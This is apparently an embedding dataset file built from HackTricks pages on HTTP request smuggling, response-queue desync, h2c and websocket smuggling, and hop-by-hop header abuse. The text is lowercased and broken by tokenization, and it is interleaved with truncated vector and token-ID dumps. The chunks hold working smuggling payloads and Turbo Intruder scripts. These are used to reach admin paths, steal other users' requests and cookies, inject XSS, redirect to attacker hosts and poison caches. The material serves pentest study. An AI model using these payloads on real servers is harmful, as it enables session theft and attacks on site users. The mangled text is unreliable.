" and " normal " requests are forwarded to different back - end systems, then the attack will fail. this is an additional reason why you might need to try several times before a vulnerability can be confirmed. if your attack succeeds in interfering with a subsequent request, but this wasn't the " normal " request that you sent to detect the interference, then this means that another application user was affected by your attack. if you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution. forcing via hop - by - hop headersabusing hop - by - hop headers you could indicate the proxy to delete the header content - length or transfer - encoding so a http request smuggling is possible to abuse. connection : content - lengthfor more information about hop - by - hop headers visit : hop - by - hop headersabusing http request smugglingto bypass front - end security controlssome times the front - end proxies will perform some security checks. you can avoid them by abusing http request smuggling as you will be able to bypass the protections. for example, in this example you cannot access / admin from the outside and the front - end proxy is checking that, but this proxy isn't checking the embedded request : cl. tepost / http / 1. 1 host : acb21fdd1f98c4f180c02944000100b5. web - security - academy. net cookie : session = xht3ruyoc83nfuzkuap8sdxzf0aziwqr connection : keep - alive content - type : application / x - www - form - urlencoded content - length : 67 transfer - encoding : chunked \ ` 0 ` \ get / admin http / 1. 1 host : localhost content - length : 10 ` ` x = te. clpost / http / 1. 1 host : ace71f491f52696180f41ed100d000d4. web - security - academy. net cookie : session = dpll5xyw4hneu09dgccotjhlfnx5qy1c content - type : application / x - www - form - urlencoded connection : keep - alive content - length : 4 transfer - encoding : chunked 2b get / admin http / 1. 1 host : localhost a = x 0 \
[ -0.13521525263786316, -0.09395479410886765, -0.47274330258369446, 0.49240559339523315, -0.5845828652381897, 0.04873955622315407, -0.19385340809822083, 0.36721310019493103, 0.3470822274684906, 1.5066217184066772, 0.4123727083206177, 0.12557870149612427, 0.33583584427833557, -0.8540305495262...
[ 1000, 1998, 1000, 3671, 1000, 11186, 2024, 2830, 2098, 2000, 2367, 2067, 1011, 2203, 3001, 1010, 2059, 1996, 2886, 2097, 8246, 1012, 2023, 2003, 2019, 3176, 3114, 2339, 2017, 2453, 2342, 2000, 3046, 2195, 2335, 2077, 1037, 18130, 2064, 20...
hack_tricks
163.txt
4
revealing front - end request rewritingin many applications, the front - end server performs some rewriting of requests before they are forwarded to the back - end server, typically by adding some additional request headers. one common thing to do is to add to the request the header x - forwarded - for : < ip of the client > or some similar header so the back - end knows the ip of the client. sometimes, if you can find which new values are appended to the request you could be able to bypass protections and access hidden information / endpoints. for discovering how is the proxy rewriting the request you need to find a post parameter that the back - end will reflect it's value on the response. then, use this parameter the last one and use an exploit like this one : post / http / 1. 1 host : vulnerable - website. com content - length : 130 connection : keep - alive transfer - encoding : chunked 0 \ ` post / search http / 1. 1 ` \ ` host : vulnerable - website. com ` \ ` content - type : application / x - www - form - urlencoded ` \ ` content - length : 100 ` \ search = in this case the next request will be appended after search = which is also the parameter whose value is going to be reflected on the response, therefore it's going to reflect the headers of the next request. note that only the length indicated in the content - length header of the embedded request is going to be reflected. if you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. then, you should start with a small number and increase it until you see all you wanted to see. note also that this technique is also exploitable with a te. cl vulnerability but the request must end with search = \ r \ n0. however, independently of the new line characters the values are going to be appended to the search parameter. finally note that in this attack we are still attacking ourselves to learn how the front - end proxy is rewriting the request. capturing other users'requestsif you can find a post request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client : post / http / 1. 1 host : ac031feb1eca352
[ -0.5104213953018188, -0.3439987897872925, -0.03580515831708908, -0.1906093955039978, -0.5379985570907593, -0.3190882205963135, -0.17078353464603424, -0.034685466438531876, 0.41419562697410583, 0.9253779649734497, 0.39620745182037354, 0.4483872354030609, 0.5470069050788879, -0.4243467152118...
[ 8669, 2392, 1011, 2203, 5227, 2128, 18560, 2378, 2116, 5097, 1010, 1996, 2392, 1011, 2203, 8241, 10438, 2070, 2128, 18560, 1997, 11186, 2077, 2027, 2024, 2830, 2098, 2000, 1996, 2067, 1011, 2203, 8241, 1010, 4050, 2011, 5815, 2070, 3176, ...
hack_tricks
163.txt
5
##f8012bbe900fa00a1. web - security - academy. net content - type : application / x - www - form - urlencoded content - length : 319 connection : keep - alive cookie : session = 4x6swqer8kiopzpf2gpca2ikea1v4kyi transfer - encoding : chunked \ ` 0 ` \ post / post / comment http / 1. 1 host : ac031feb1eca352f8012bbe900fa00a1. web - security - academy. net content - length : 659 content - type : application / x - www - form - urlencoded cookie : session = 4x6swqer8kiopzpf2gpca2ikea1v4kyi ` ` csrf = gpgavabj7pkq7vffh45caicefcnanccm & postid = 4 & name = hacktricks & email = email % 40email. com & comment = in this case, the value of the parameter comment is going to be saved inside a comment of a post in the page that is publicly available, so a comment will appear with the content of the next request. one limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. for url - encoded form submissions, this will be the & character, meaning that the content that is stored from the victim user's request will end at the first &, which might even appear in the query string. note also that this technique is also exploitable with a te. cl vulnerability but the request must end with search = \ r \ n0. however, independently of the new line characters the values are going to be appended to the search parameter. using http request smuggling to exploit reflected xssif the web page is also vulnerable to reflected xss, you can abuse http request smuggling to attack clients of the web. the exploitation of reflected xss from http request smuggling have some advantages : it requires no interaction with victim usersit can be used to exploit xss behavior in parts of the request that cannot be trivially controlled in a normal reflected xss attack, such as http request headers. if a web is vulnerable to reflected xss on the user - agent header you can use this payload to exploit it : post / http / 1. 1 host : ac311fa41f0aa1e
[ 0.433281809091568, -0.16175395250320435, -0.3373565971851349, 0.46066877245903015, -0.7929577231407166, -0.2460556924343109, -0.1451299786567688, 0.2047061026096344, 0.46212461590766907, 0.9517409801483154, 0.3563876152038574, 0.20634019374847412, 0.2652808427810669, -0.3724130690097809, ...
[ 2546, 17914, 12521, 19473, 21057, 2692, 7011, 8889, 27717, 1012, 4773, 1011, 3036, 1011, 2914, 1012, 5658, 4180, 1011, 2828, 1024, 4646, 1013, 1060, 1011, 7479, 1011, 2433, 1011, 24471, 7770, 16044, 2094, 4180, 1011, 3091, 1024, 26499, 4434...
hack_tricks
163.txt
6
##880b0594d008d009e. web - security - academy. net user - agent : mozilla / 5. 0 ( windows nt 10. 0 ; win64 ; x64 ; rv : 75. 0 ) gecko / 20100101 firefox / 75. 0 cookie : session = ro7yknotbl3bxurhaaxzz84qj3psmnsy transfer - encoding : chunked connection : keep - alive content - length : 213 content - type : application / x - www - form - urlencoded \ ` 0 ` \ get / post? postid = 2 http / 1. 1 host : ac311fa41f0aa1e880b0594d008d009e. web - security - academy. net user - agent : " > < script > alert ( 1 ) < / script > content - length : 10 content - type : application / x - www - form - urlencoded ` ` a = using http request smuggling to turn an on - site redirect into an open redirectmany applications perform on - site redirects from one url to another and place the hostname from the request's host header into the redirect url. an example of this is the default behavior of apache and iis web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash : get / home http / 1. 1 host : normal - website. com ` ` http / 1. 1 301 moved permanently location : url behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. for example : post / http / 1. 1 host : vulnerable - website. com content - length : 54 connection : keep - alive transfer - encoding : chunked \ ` 0 ` \ get / home http / 1. 1 host : attacker - website. com foo : xthe smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back - end server. for example : get / home http / 1. 1 host : attacker - website. com foo : xget / scripts / include. js http / 1. 1 host : vulnerable - website. com ` ` http / 1. 1 301 moved permanently location : url
[ -0.3079051375389099, -0.42589071393013, -0.15931923687458038, 0.5874708294868469, -0.39629921317100525, 0.1678907573223114, -0.2038879096508026, 0.20369786024093628, 0.15379996597766876, 0.9157685041427612, 0.16687177121639252, -0.0664132609963417, 0.44822800159454346, -0.3966499865055084,...
[ 2620, 17914, 2497, 2692, 28154, 2549, 2094, 8889, 2620, 2094, 8889, 2683, 2063, 1012, 4773, 1011, 3036, 1011, 2914, 1012, 5658, 5310, 1011, 4005, 1024, 9587, 5831, 4571, 1013, 1019, 1012, 1014, 1006, 3645, 23961, 2184, 1012, 1014, 1025, 2...
hack_tricks
163.txt
7
the user's request was for a javascript file that was imported by a page on the web site. the attacker can fully compromise the victim user by returning their own javascript in the response. using http request smuggling to perform web cache poisoningif any part of the front - end infrastructure performs caching of content ( generally for performance reasons ) the it might be possible to poison that cache modifying the response of the server. we have already see how to modify the expected returned value from the server to a 404 ( in the basic examples ), in a similar way you could make the server return the content of / index. html when the poisoned request is asking for / static / include. js. this way, the content of the / static / include. js will be cached with the content of / index. html making / static / include. js inaccessible to the clients ( dos? ). notice this is even more interesting if you find some open redirect or some on - site redirect to open redirect ( last section ). because, you could be able to change the cache values of / static / include. js with the ones of a script controlled by you ( making a general xss to all the clients that try to download the new version of / static / include. js ). in this example it's going to be shown how you can exploit a cache poisoning + on - site redirect to open redirect to modify the contents of the cache of / static / include. js to serve js code controlled by the attacker : post / http / 1. 1 host : vulnerable. net content - type : application / x - www - form - urlencoded connection : keep - alive content - length : 124 transfer - encoding : chunked \ ` 0 ` \ get / post / next? postid = 3 http / 1. 1 host : attacker. net content - type : application / x - www - form - urlencoded content - length : 10 ` ` x = 1note how the embedded request is asking for / post / next? postid = 3 this request is going to be redirected to / post? postid = 4 and will use the value of the host header to indicate the domain. therefore, you can modify the host header to point the attackers server and the redirect will use that domain ( on - site redirect to open redirect ). then, after poisoning the socket, you
[ 0.39602434635162354, -0.22917716205120087, -0.34508660435676575, 0.3707970678806305, -0.8562909364700317, 0.14395849406719208, -0.741991400718689, -0.17288601398468018, 0.5821426510810852, 0.9242054224014282, 0.3145450949668884, 0.10760146379470825, -0.11201154440641403, -0.151212885975837...
[ 1996, 5310, 1005, 1055, 5227, 2001, 2005, 1037, 9262, 22483, 5371, 2008, 2001, 10964, 2011, 1037, 3931, 2006, 1996, 4773, 2609, 1012, 1996, 17346, 2064, 3929, 12014, 1996, 6778, 5310, 2011, 4192, 2037, 2219, 9262, 22483, 1999, 1996, 3433, ...
hack_tricks
163.txt
8
need to send a get request to * * / static / include. js * * this request will be poisoned by the on - site redirect to open redirect request and will grab the contents of the attacker controlled script. the next time that somebody ask for / static / include. js the cached contents of the attackers script will be server ( general xss ). using http request smuggling to perform web cache deceptionwhat is the difference between web cache poisoning and web cache deception? in web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. in web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. in this variant, the attacker smuggles a request that returns some sensitive user - specific content. for example : post / http / 1. 1 host : vulnerable - website. com connection : keep - alive content - length : 43 transfer - encoding : chunked \ ` 0 ` \ get / private / messages http / 1. 1 foo : xif the poison reaches a client that was accessing some static content like / someimage. png that was going to be cached. the contents of / private / messages of the victim will be cached in / someimage. png and the attacker will be able to steal them. note that the attacker doesn't know which static content the victim was trying to access so probably the best way to test this is to perform the attack, wait a few seconds and load all the static contents and search for the private data. weaponizing http request smuggling with http response desynchronisationhave you found some http request smuggling vulnerability and you don't know how to exploit it. try these other method of exploitation : http response smuggling / desyncturbo intruder scriptscl. tefrom url queuerequests ( target, wordlists ) : engine = requestengine ( endpoint = target. endpoint, concurrentconnections = 5, requestsperconnection = 1, resumessl = false, timeout = 10, pipeline = false, maxretriesperrequest = 0, engine = engine. threaded, ) engine. start ( ) attack ='''post / http / 1. 1 transfer - encoding : chunkedhost : xxx. comcontent - length
[ 0.3569505512714386, -0.06288716942071915, -0.09558416903018951, 0.5933220386505127, -0.6577598452568054, -0.1473541408777237, -0.5143011808395386, 0.3523068130016327, 0.4588268995285034, 0.8660846948623657, 0.6687058806419373, 0.039909470826387405, 0.4646076261997223, -0.26473191380500793,...
[ 2342, 2000, 4604, 1037, 2131, 5227, 2000, 1008, 1008, 1013, 10763, 1013, 2421, 1012, 1046, 2015, 1008, 1008, 2023, 5227, 2097, 2022, 17672, 2011, 1996, 2006, 1011, 2609, 2417, 7442, 6593, 2000, 2330, 2417, 7442, 6593, 5227, 1998, 2097, 67...
hack_tricks
163.txt
9
: 35foo : bar0get / admin7 http / 1. 1x - foo : k'''engine. queue ( attack ) victim ='''get / http / 1. 1host : xxx. com'''for i in range ( 14 ) : engine. queue ( victim ) time. sleep ( 0. 05 ) def handleresponse ( req, interesting ) : table. add ( req ) te. clfrom : url queuerequests ( target, wordlists ) : engine = requestengine ( endpoint = target. endpoint, concurrentconnections = 5, requestsperconnection = 1, resumessl = false, timeout = 10, pipeline = false, maxretriesperrequest = 0, engine = engine. threaded, ) engine. start ( ) attack ='''post / http / 1. 1host : xxx. comcontent - length : 4transfer - encoding : chunked46post / nothing http / 1. 1host : xxx. comcontent - length : 15kk0'''engine. queue ( attack ) victim ='''get / http / 1. 1host : xxx. com'''for i in range ( 14 ) : engine. queue ( victim ) time. sleep ( 0. 05 ) def handleresponse ( req, interesting ) : table. add ( req ) more infoimage from here. toolshttps : / / github. com / anshumanpattnaik / http - request - smugglinghttps : / / github. com / portswigger / http - request - smugglerhttps : / / github. com / gwen001 / pentest - tools / blob / master / smuggler. pyhttps : / / github. com / defparam / smugglerhttps : / / github. com / bahruzjabiyev / t - reqs - http - fuzzer : this tool is a grammar - based http fuzzer useful to find weird request smuggling discrepancies. [SEP]
[ 0.5903463959693909, 0.25114768743515015, -0.6156900525093079, 0.5933818817138672, -0.7021532654762268, -0.5148101449012756, -0.4176054894924164, -0.20577891170978546, -0.1282501220703125, 1.5572178363800049, 0.13139702379703522, -0.18535082042217255, 0.7889371514320374, -0.6151793003082275...
[ 1024, 3486, 14876, 2080, 1024, 3347, 2692, 18150, 1013, 4748, 10020, 2581, 8299, 1013, 1015, 1012, 1015, 2595, 1011, 29379, 1024, 1047, 1005, 1005, 1005, 3194, 1012, 24240, 1006, 2886, 1007, 6778, 1027, 1005, 1005, 1005, 2131, 1013, 8299, ...
hack_tricks
163.txt
10
[CLS] http response smuggling / desynchttp request queue desynchronisationfirst of all, this technique abuses a http request smuggling vulnerability, so you need to know what that is : the main difference between this technique and a common http request smuggling is that instead of attacking the request of the victim by adding a prefix to it, we are going to leak or modify the response the victim receives. this is done by, instead of sending 1 request and a half to abuse the http request smuggling, send 2 complete requests to desynchronise the proxies responses queue. this is because we are going to be able to desynchronise the response queue so the response from the legit request of the victim is sent to the attacker, or by injecting attackers controlled content in the response to the victim. http pipeline desynchttp / 1. 1 allows to ask for different resources without needing to wait for previous ones. therefore, if there is a proxy in the middle, it's the proxies task to maintain a synchronised match of requests sent to the backend and responses coming from it. however, there is a problem desynchronising the responses queue. if an attacker send a http response smuggling attack and the responses to the initial request and the smuggled one are responded immediately, the smuggled response won't be inserted inside the queue of the victim response but will just be discarded as an error. therefore, it's needed that the smuggled request takes more time to be processed inside the back - end server. therefore, by the time the smuggled request is processed, the communication with the attacker will be over. if in this specific situation a victim has sent a request and the smuggled request is responded before the legitimate request, the smuggled response will be sent to the victim. therefore, the attacker will be controlling the request " performed " by the victim. moreover, is the attacker then perform a request and the legitimate response to the victim request is answered before the attackers request. the response to the victim is going to be sent to the attacker, stealing the response to the victim ( which can contains for example the header set - cookie ). multiple nested injectionsanother interesting difference with common http request smuggling is that, in a common smuggling attack, the goal is to modify the beginning of the victims request so it perform an unexpected action. in a http response smuggling attack, as you are sending full requests, you can inject in one payload tens
[ 0.1010165810585022, -0.16575393080711365, -1.0716044902801514, 0.5201055407524109, -0.8283767700195312, -0.490620881319046, -0.650290310382843, 0.6839223504066467, -0.005570837762206793, 1.1314113140106201, -0.007812999188899994, 0.17975586652755737, 0.21317553520202637, -0.624122321605682...
[ 101, 8299, 3433, 19535, 1013, 4078, 6038, 10143, 25856, 5227, 24240, 4078, 6038, 2818, 4948, 6648, 8873, 12096, 1997, 2035, 1010, 2023, 6028, 21078, 1037, 8299, 5227, 19535, 18130, 1010, 2061, 2017, 2342, 2000, 2113, 2054, 2008, 2003, 1024,...
hack_tricks
164.txt
0
of responses that will be desynchronising tens of users that will be receiving the injected responses. apart from being able to distribute more easily tens of exploits across legitimate users, this could also be used to cause a dos in the server. exploit organisationas explained previously, in order to abuse this technique, it's needed that the first smuggled message into the server requires a lot of time to be processed. this time consuming request is enough if we just want to try to steal the victims response. but if you want to perform a more complex exploit this will be a common structure for the exploit. first of all the initial request abusing http request smuggling, then the time consuming request and then 1 or more payload requests that whose responses will be sent to the victims. abusing http response queue desynchronisationcapturing other users'requestsas with http request smuggling known payloads, you can steal the victims request with one important difference : in this case you just need the send content to be reflected in the response, no persistent storage is needed. first, the attacker send a payload containing a final post request with the reflected parameter at the end and a large content - lengththen, once the initial request ( blue ) was processed and while the sleepy one is being processed ( yellow ) the next request that arrives from a victim is going to be appended in the queue just after the reflected parameter : then, the victim will receive the response to the sleepy request and if in the meantime the attacker sent another request, the response from the reflected content request will be sent to him. response desynchronisationup to this point, we have learned how to abuse http request smuggling attacks to control the request whose response a client is going to receive and how you can then steal the response that was meant for the victim. but it's still possible to desynchronise even more the responses. there are interesting requests like head request that are specified to not have any content inside the responses body and that should ( must ) contain the content - length of the request like if it was a get request. therefore, if an attacker injects a head request, like in this images : then, once the blue one is responded to the attacker, the next victims request is going to be introduced in the queue : then, the victim will receive the response from the head request, which is going to contain a content - length but no content at all. therefore, the proxy won't send this response to the victim, but
[ 0.19996526837348938, 0.0614270344376564, -0.7954028844833374, 0.8053277730941772, -0.5903815031051636, -0.3867659866809845, -0.8807304501533508, 0.6069527268409729, -0.11519958078861237, 1.2274047136306763, 0.0964932069182396, 0.015995407477021217, 0.6963852643966675, -0.404119074344635, ...
[ 1997, 10960, 2008, 2097, 2022, 4078, 6038, 2818, 4948, 9355, 15295, 1997, 5198, 2008, 2097, 2022, 4909, 1996, 19737, 10960, 1012, 4237, 2013, 2108, 2583, 2000, 16062, 2062, 4089, 15295, 1997, 20397, 2408, 11476, 5198, 1010, 2023, 2071, 2036...
hack_tricks
164.txt
1
will wait for some content, which actually is going to be response to the yellow request ( also injected by the attacker ) : content confusionfollowing the previous example, knowing that you can control the body of the request whose response is going to receive the victim and that a head response usually contains in its headers the content - type and the content - length, you can send a request like the following one to cause xss in the victim without the page being vulnerable to xss : cache poisoningabusing the previously commented response desynchronisation content confusion attack, if the cache stores the response to the request performed by the victim and this response is an injected one causing a xss, then the cache is poisoned. malicious request containing the xss payload : malicious response to the victim that contains the header that indicates to the cache to store the response : note that in this case if the " victim " is the attacker he can now perform cache poisoning in arbitrary urls as he can control the url that is going to be cached with the malicious response. web cache deceptionthis attack is similar to the previous one, but instead of injecting a payload inside the cache, the attacker will be caching victim information inside of the cache : response splittingthe goal of this attack is to abuse again the response desynchronisation in order to make the proxy send a 100 % attacker generated response. in order to achieve this, the attacker needs to find an endpoint of the web application that is reflecting some values inside the response and know the content length of the head response. he will send a exploit like : after the first request is resolved and sent back to the attacker, the victims request is added into the queue : the victim will receive as response the head response + the content of the second request response ( containing part of the reflected data ) : however, note how the reflected data had a size according to the content - length of the head response that generated a valid http response in the response queue. therefore, the next request of the second victim will be receiving as response something completely crafted by the attacker. as the response is completely crafted by the attacker he can also make the proxy cache the response. [SEP]
[ 0.14576701819896698, 0.19511564075946808, -0.3438490033149719, 0.24073690176010132, -0.44874173402786255, -0.037968337535858154, -0.20265305042266846, 0.18227674067020416, 0.5547478199005127, 0.9586946964263916, 0.7089527249336243, 0.3506768047809601, 1.108075737953186, -0.1155384853482246...
[ 2097, 3524, 2005, 2070, 4180, 1010, 2029, 2941, 2003, 2183, 2000, 2022, 3433, 2000, 1996, 3756, 5227, 1006, 2036, 19737, 2011, 1996, 17346, 1007, 1024, 4180, 6724, 14876, 7174, 9328, 1996, 3025, 2742, 1010, 4209, 2008, 2017, 2064, 2491, 1...
hack_tricks
164.txt
2
[CLS] upgrade header smugglingfind vulnerabilities that matter most so you can fix them faster. intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from apis to web apps and cloud systems. try it for free today. intruder | an effortless vulnerability scannerh2c smugglinghttp2 over cleartext ( h2c ) a normal http connection typically lasts only for the duration of a single request. however, h2c or β€œ url2 over cleartext ” is where a normal transient url connection is upgraded to a persistent connection that uses the url2 binary protocol to communicate continuously instead of for one request using the plaintext url protocol. the second part of the smuggling occurs when a reverse proxy is used. normally, when url requests are made to a reverse proxy, the proxy will handle the request, process a series of routing rules, then forward the request onto the backend and then return the response. when a url request includes a connection : upgrade header, such as for a websocket connection, the reverse proxy will maintain the persistent connection between the client and server, allowing for the continuous communication needed for these procotols. for a h2c connection, the rfc requires 3 headers to be present : upgrade : h2chttp2 - settings : aamaaabkaaraaaaaaaiaaaaaconnection : upgrade, http2 - settingsso where is the bug? when upgrading a connection, the reverse proxy will often stop handling individual requests, assuming that once the connection has been established, its routing job is done. using h2c smuggling, we can bypass rules a reverse proxy uses when processing requests such as path based routing, authentication, or the waf processing provided we can establish a h2c connection first. vulnerable proxiesnote from the explanation of the vulnerability that the proxy server needs to forward the upgrade header, and sometimes the connection header also needs to be successfully forwarded. by default, the following services do forward upgrade and connection headers during proxy - pass, thereby enabling h2c smuggling out - of - the - box. : haproxytraefiknusterby default, these services don't forward both upgrade and connection headers during proxy - pass, but can be configured in an insecure manner ( by passing unfiltered upgrade and connection headers ) : aws alb / clbnginxapachesquidvarnishkongenvoyapac
[ 0.029045654460787773, -0.41817253828048706, -0.4548913538455963, 0.3683929443359375, -0.7142585515975952, -0.5168920159339905, -0.5376313924789429, 0.036507897078990936, 0.20614628493785858, 0.6950981616973877, 0.196400448679924, -0.4520154297351837, 0.2551804184913635, -0.3877186179161072...
[ 101, 12200, 20346, 19535, 16294, 2094, 24728, 19666, 6906, 14680, 2008, 3043, 2087, 2061, 2017, 2064, 8081, 2068, 5514, 1012, 22841, 3162, 2115, 2886, 3302, 1010, 3216, 4013, 19620, 5081, 27404, 1010, 4858, 3314, 2408, 2115, 2878, 6627, 999...
hack_tricks
165.txt
0
##he traffic serverexploitationthe original blog post points out that not all servers will forward the required headers for a compliant h2c connection upgrade. this means load balancers like aws alb / clb, nginx, and apache traffic server amongst others will prevent a h2c connection by default. however, at the end of the blog post, he does mention that β€œ not all backends were compliant, and we could test with the non - compliant connection : upgrade variant, where the http2 - settings value is omitted from the connection header. ” note that even if the proxy _ pass url ( the endpoint the proxy forwards the connection ) was pointing to a specific path such as url : / / backend : 9999 / socket. io the connection will be stablished with url : / / backend : 9999 so you can contact any other path inside that internal endpoint abusing this technique. so it doesn't matter if a path is specified in the url of proxy _ pass. using the tools urls : / / github. com / bishopfox / h2csmuggler and urls : / / github. com / assetnote / h2csmuggler you can try to bypass the protections imposed by the proxy establishing a h2c connection and access proxy protected resources. follow this link for more info about this vulnerability in nginx. websocket smugglingsimilar to previous technique, this one instead of creating a http2 tunnel to an endpoint accessible via a proxy, it will create a websocket tunnel for the same purpose, bypass potential proxies limitations and talk directly to the endpoint : scenario 1we have backend that exposes public websocket api and also has internal rest api not available from outside. malicious client wants to access internal rest api. on the first step client sends upgrade request to reverse proxy but with wrong protocol version inside header sec - websocket - version. proxy doesn't validate sec - websocket - version header and thinks that upgrade request is correct. further it translates request to the backend. on the second step backend sends response with status code 426 because protocol version is incorrect inside header sec - websocket - version. however, reverse proxy doesn't check enough response from backend ( including status code ) and thinks that backend is ready for websocket communication. further it
[ 0.11494162678718567, 0.0006371988565661013, -0.7459161877632141, 0.2946195900440216, -0.009879671037197113, -0.1617245078086853, -0.29119813442230225, 0.063763327896595, 0.4138644337654114, 0.8050209283828735, 0.18726103007793427, -0.2415604442358017, 0.15247619152069092, -0.66952902078628...
[ 5369, 4026, 8241, 10288, 24759, 28100, 3370, 10760, 2434, 9927, 2695, 2685, 2041, 2008, 2025, 2035, 14903, 2097, 2830, 1996, 3223, 20346, 2015, 2005, 1037, 24577, 1044, 2475, 2278, 4434, 12200, 1012, 2023, 2965, 7170, 5703, 2869, 2066, 2209...
hack_tricks
165.txt
1
translates request to the client. finally, reverse proxy thinks that websocket connection is established between client and backend. in reality there is no websocket connection - backend refused upgrade request. at the same time, proxy keeps tcp or tls connection between client and backend in open state. client can easily access private rest api by sending http request over the connection. it was found that following reverse proxies are affected : varnish - team refused to fix described issue. envoy proxy 1. 8. 0 ( or older ) - in newer versions upgrade mechanism has been changed. others - tba. scenario 2the majority of reverse proxies ( e. g. nginx ) check status code from backend during handshake part. this makes attack harder but not impossible. let's observe second scenario. we have backend that exposes public websocket api and public rest api for health checking and also has internal rest api not available from outside. malicious client wants to access internal rest api. nginx is used as reverse proxy. websocket api is available on path / api / socket. io / and healthcheck api on path / api / health. healthcheck api is invoked by sending post request, parameter with name u controls url. backend reaches external resource and returns status code back to the client. on the first step client sends post request to invoke healthcheck api but with additional http header upgrade : websocket. nginx thinks that it's a normal upgrade request, it looks only for upgrade header skipping other parts of the request. further proxy translates request to the backend. on the second step backend invokes healtcheck api. it reaches external resource controlled by malicious users that returns http response with status code 101. backend translates that response to the reverse proxy. since nginx validates only status code it will think that backend is ready for websocket communication. further it translates request to the client. note how this scenario is much more complex to exploit as you need to be able to contact some endpoint that returns status code 101. finally, nginx thinks that websocket connection is established between client and backend. in reality there is no websocket connection - healthcheck rest api was invoked on backend. at the same time, reverse proxy keeps tcp or tls connection between client and backend in open state. client can
[ -0.20565073192119598, -0.42950430512428284, -0.8791618347167969, 0.5308048129081726, -0.38628312945365906, -0.5407743453979492, -0.23816299438476562, 0.11608455330133438, 0.23074579238891602, 1.0155246257781982, 0.32071882486343384, -0.04795518144965172, -0.001497644349001348, -0.216509550...
[ 16315, 5227, 2000, 1996, 7396, 1012, 2633, 1010, 7901, 24540, 6732, 2008, 4773, 6499, 19869, 2102, 4434, 2003, 2511, 2090, 7396, 1998, 2067, 10497, 1012, 1999, 4507, 2045, 2003, 2053, 4773, 6499, 19869, 2102, 4434, 1011, 2067, 10497, 4188, ...
hack_tricks
165.txt
2
easily access private rest api by sending http request over the connection. the majority of reverse proxies should be affected by that scenario. however, exploitation requires existence of external ssrf vulnerability ( usually considered low - severity issue ). labscheck the labs to test both scenarios in urls : / / github. com / 0ang3el / websocket - smuggle. git [SEP]
[ 0.0655193030834198, 0.08706966042518616, -0.7640801072120667, 0.21714340150356293, -0.4845401346683502, -0.14449158310890198, -0.8100488185882568, 0.3070676624774933, 0.15475280582904816, 1.4393541812896729, 0.14873576164245605, -0.15711167454719543, 0.7181428074836731, 0.1137731671333313,...
[ 4089, 3229, 2797, 2717, 17928, 2011, 6016, 8299, 5227, 2058, 1996, 4434, 1012, 1996, 3484, 1997, 7901, 4013, 16898, 2015, 2323, 2022, 5360, 2011, 2008, 11967, 1012, 2174, 1010, 14427, 5942, 4598, 1997, 6327, 20896, 2546, 18130, 1006, 2788, ...
hack_tricks
165.txt
3
[CLS] hop - by - hop headerswhat is a hop - by - hop header? a hop - by - hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end - to - end header. according to rfc 2616, the http / 1. 1 spec treats the following headers as hop - by - hop by default : keep - alive, transfer - encoding, te, connection, trailer, upgrade, proxy - authorization and proxy - authenticate. when encountering these headers in a request, a compliant proxy should process or action whatever it is these headers are indicating, and not forward them on to the next hop. further to these defaults, a request may also define a custom set of headers to be treated as hop - by - hop by adding them to the connection header, like so : connection : close, x - foo, x - barthe theory on abusing hop - by - hop headersin theory, proxies should remove hop - by - hop headers received before sending them to the next address. but you can find in the wild that this is done by some proxies and others just send all the headers adding its own connectionheader. testing hop - by - hop deletionsif you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop - by - hop deletions. for example, the cookie header will make the response of the server to be dramatically different if it is set ( with a valid content ) and if it is not. so, send a request with a valid header and with this value of the connection header connection : close, cookie if the response is the same as if the cookie wasn't sent, then there is a proxy removing headers. you can find if the response of the server is any different if a header is deleted using this technique using this script. then, if you pass in a list of known headers, such as this one, you can observe which headers are causing effects despite not being in your original request : for header in $ ( cat headers. txt ) ; do python poison - test. py - u " https : / / target " - x " $ header " ; sleep 1 ; donethis will cycle through the entire header list and print out if its presence in the hop - by - hop list created a different status code or response
[ 0.2638213336467743, -0.4740135371685028, -0.4303204417228699, 1.0697405338287354, -0.26478445529937744, -0.313129723072052, -0.38503727316856384, 0.4002443552017212, 0.6064177751541138, 1.0101593732833862, 0.5928830504417419, 0.08552142977714539, 0.4656350612640381, -1.1179237365722656, ...
[ 101, 6154, 1011, 2011, 1011, 6154, 20346, 26760, 12707, 2003, 1037, 6154, 1011, 2011, 1011, 6154, 20346, 1029, 1037, 6154, 1011, 2011, 1011, 6154, 20346, 2003, 1037, 20346, 2029, 2003, 2881, 2000, 2022, 13995, 1998, 10202, 2011, 1996, 24540...
hack_tricks
166.txt
0
body size. abusing x - forwarded - forin general, proxies will add the ips of the clients inside the x - forwarded - for header so the next hop will know where does the petition comes from. however, if an attacker sends a connection value like connection : close, x - forwarded - for and the first proxy sends the hop - by - hop headers with their values ( it sends the special connection value ), then the second value may delete the x - forward - for header. at the end, the final app won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by ip whitelisting ( maybe some / admin? ). depending on the system being targeted, you may also have forwarded, x - real - ip, and a bunch of others that are less common. detecting proxies and fingerprinting servicesthis technique may be useful to detect proxies ( using the cookie technique ) or even to detect services. for example, if you abuse this technique to delete the header x - bluecoat - via and an error is thrown, then you have find that bluecoat was being used. other attacksfor a possible dos cache poisoning abusing this technique read the original linkthis could be useful in attacks that may allow you to insert new headers ( low probability ) also, it could be useful to bypass defensive functionalities. for example, if the lack of a header means that a request shouldn't be processed by a waf, you could bypass a waf with this technique. [SEP]
[ 0.04025867581367493, -0.25533902645111084, 0.18509209156036377, 0.6923230290412903, -0.3145536184310913, -0.6812987327575684, -0.06614775210618973, 0.09066411852836609, 0.008324411697685719, 1.1305420398712158, 0.35135141015052795, 0.009255618788301945, 0.5605834722518921, -0.3450380563735...
